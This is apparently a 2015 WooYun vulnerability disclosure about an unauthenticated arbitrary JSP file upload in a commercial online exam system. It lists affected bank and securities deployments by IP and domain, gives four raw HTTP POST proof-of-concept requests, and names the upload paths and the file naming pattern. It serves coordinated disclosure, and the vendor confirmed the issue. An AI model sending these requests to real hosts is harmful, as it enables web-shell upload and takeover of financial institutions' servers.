当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0108559

漏洞标题:某大型在线考试系统通用型任意文件上传(涉及银行、证卷等企业)

相关厂商:深圳市新风向科技有限公司

漏洞作者: 茜茜公主

提交时间:2015-04-17 14:58

修复时间:2015-07-20 16:10

公开时间:2015-07-20 16:10

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-17: 细节已通知厂商并且等待厂商处理中
2015-04-21: 厂商已经确认,细节仅向厂商公开
2015-04-24: 细节向第三方安全合作伙伴开放
2015-06-15: 细节向核心白帽子及相关领域专家公开
2015-06-25: 细节向普通白帽子公开
2015-07-05: 细节向实习白帽子公开
2015-07-20: 细节向公众公开

简要描述:

通用型任意文件上传

详细说明:

评审的领导你好,http://www.wooyun.org/bugs/wooyun-2015-0108194/trace/9fdbb3f803e5683ac9a460f49c702d93
这个漏洞是我提交的,当时没有好好的去看就提交了,现在补上通用型的漏洞,重新对漏洞进行描述,如果可以就把那个没有审核的漏洞给拒绝了,通过这个吧,感谢。
问题:通用型任意文件上传
案例:http://www.newvane.com.cn/index.php?ac=article&at=list&tid=151
从官网上来看,已经有以下几个中招,其它没有给出链接,或系统放置在内网,无法验证
广发证券股份有限公司http://121.8.153.10
上海农商行http://218.1.73.18
金蝶国际软件集团http://exam.kingdee.com
结合我之前找到的
上饶市商业银行http://222.68.193.118
我想已经可以证明其通用性
上传地址如下:
1#http://*/mana/edit/uploadattcah.jsp(可直接传jsp)
2#http://*/mana/edit/attach_upload.jsp(可直接传jsp)
3#http://*/mana/edit/uploadimg.jsp(需要抓包改后缀) 4#http://*/mana/edit/uploadmult.jsp(需要抓包改后缀) 5#http://*/mana/edit/uploadflash.jsp(需要抓包改后缀)
这里需要说明,上传可能遇到上传页面无法访问的情况,但可通过直接POST数据包传shell
以广发证券股份有限公司http://121.8.153.10为例

QQ截图20150417110647.png


QQ截图20150417110718.png


QQ截图20150417110730.png


几个上传点均无法访问
此时可以通过POST以下数据包,达到上传的效果
POC1

POST http://121.8.153.10/question/attach.upload HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer:
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7df15314904c2
Accept-Encoding: gzip, deflate
Host: 121.8.153.10
Content-Length: 10396
Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=
-----------------------------7df15314904c2
Content-Disposition: form-data; name="uploadnexturl"
/mana/edit/attachok.jsp
-----------------------------7df15314904c2
Content-Disposition: form-data; name="src"; filename="01.jsp"
Content-Type: application/octet-stream
wooyun test
-----------------------------7df15314904c2
Content-Disposition: form-data; name="Submitdata"
ȷ
-----------------------------7df15314904c2--


QQ截图20150417111117.png


QQ截图20150417111149.png


传个shell证明一下(已删除):

QQ截图20150417111554.png

漏洞证明:

以金蝶为例:http://exam.kingdee.com

QQ截图20150417111834.png


QQ截图20150417111937.png


金蝶的几个上传页面可以正常访问
1#http://exam.kingdee.com/mana/edit/uploadattcah.jsp(可直接传jsp)

QQ截图20150417112142.png


上传成功了

QQ截图20150417112238.png


其实就是程序仅仅是在页面上判断了用户是否登录,但如果用户直接调用上传方法,则可以绕过
该数据包,即上面指出的POC
2#http://exam.kingdee.com/mana/edit/attach_upload.jsp(可直接传jsp)
3#http://exam.kingdee.com/mana/edit/uploadimg.jsp(需要抓包改后缀)

QQ截图20150417112505.png


通过抓包,这里我们可以得到第二个POC

POST http://exam.kingdee.com/question/image.upload HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://exam.kingdee.com/mana/edit/img_upload.jsp
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7df25820904c2
Accept-Encoding: gzip, deflate
Host: exam.kingdee.com
Content-Length: 895
Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=4F360C8EEFD37F1C9EA574BC798F39EA
-----------------------------7df25820904c2
Content-Disposition: form-data; name="uploadnexturl"
/mana/edit/imageok.jsp
-----------------------------7df25820904c2
Content-Disposition: form-data; name="src"; filename="test.jsp"
Content-Type: image/pjpeg
wooyun test
-----------------------------7df25820904c2
Content-Disposition: form-data; name="Submitdata"
ȷ
-----------------------------7df25820904c2
Content-Disposition: form-data; name="alt"
-----------------------------7df25820904c2
Content-Disposition: form-data; name="align"
-----------------------------7df25820904c2
Content-Disposition: form-data; name="border"
-----------------------------7df25820904c2
Content-Disposition: form-data; name="hspace"
-----------------------------7df25820904c2
Content-Disposition: form-data; name="vspace"
-----------------------------7df25820904c2--


4#http://exam.kingdee.com/mana/edit/uploadmult.jsp(需要抓包改后缀)
抓包可得到POC3

POST http://exam.kingdee.com/question/mult.upload HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://exam.kingdee.com/mana/edit/mult_upload.jsp
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7df22019904c2
Accept-Encoding: gzip, deflate
Host: exam.kingdee.com
Content-Length: 712
Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=4F360C8EEFD37F1C9EA574BC798F39EA
-----------------------------7df22019904c2
Content-Disposition: form-data; name="uploadnexturl"
/mana/edit/multok.jsp
-----------------------------7df22019904c2
Content-Disposition: form-data; name="src"; filename="test.jsp"
Content-Type: audio/wav
wooyun test
-----------------------------7df22019904c2
Content-Disposition: form-data; name="width"
360
-----------------------------7df22019904c2
Content-Disposition: form-data; name="height"
240
-----------------------------7df22019904c2
Content-Disposition: form-data; name="insert"
0
-----------------------------7df22019904c2
Content-Disposition: form-data; name="Submitdata"
ȷ
-----------------------------7df22019904c2--


5#http://exam.kingdee.com/mana/edit/uploadflash.jsp(需要抓包改后缀)
抓包后可以得到POC4

POST http://exam.kingdee.com/question/flash.upload HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://exam.kingdee.com/mana/edit/flash_upload.jsp
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7df2272a904c2
Accept-Encoding: gzip, deflate
Host: exam.kingdee.com
Content-Length: 719
Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=4F360C8EEFD37F1C9EA574BC798F39EA
-----------------------------7df2272a904c2
Content-Disposition: form-data; name="uploadnexturl"
/mana/edit/flashok.jsp
-----------------------------7df2272a904c2
Content-Disposition: form-data; name="src"; filename="test.jsp"
Content-Type: application/x-shockwave-flash
wooyun test
-----------------------------7df2272a904c2
Content-Disposition: form-data; name="width"
360
-----------------------------7df2272a904c2
Content-Disposition: form-data; name="height"
240
-----------------------------7df2272a904c2
Content-Disposition: form-data; name="insert"
0
-----------------------------7df2272a904c2
Content-Disposition: form-data; name="Submitdata"
ȷ
-----------------------------7df2272a904c2--


我们可以看到,通过几个POC,文件分别传到了对应的路径
upload/attach
upload/flash
upload/image
upload/multimedia
文件的命名规则为 年-月-日-9位随机数字.jsp
除了使用POC3
http://*/question/mult.upload进行上传的没有返回路径,需要遍历外--
其它几个poc均有返回上传后的路径

QQ截图20150417114628.png


金蝶shell已删除
再以上海农商行http://218.1.73.18/ 为例,其上传页面无法访问,利用几个poc进行上传

QQ截图20150417115007.png


QQ截图20150417115036.png


QQ截图20150417115156.png


QQ截图20150417115338.png

修复方案:

加强上传权限控制

版权声明:转载请注明来源 茜茜公主@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-04-21 16:09

厂商回复:

CNVD确认并复现所述情况,涉及具体案例已经转由CNCERT向银行业信息化主管部门通报,由其后续协调网站管理单位处置,同时也向厂商通报.

最新状态:

暂无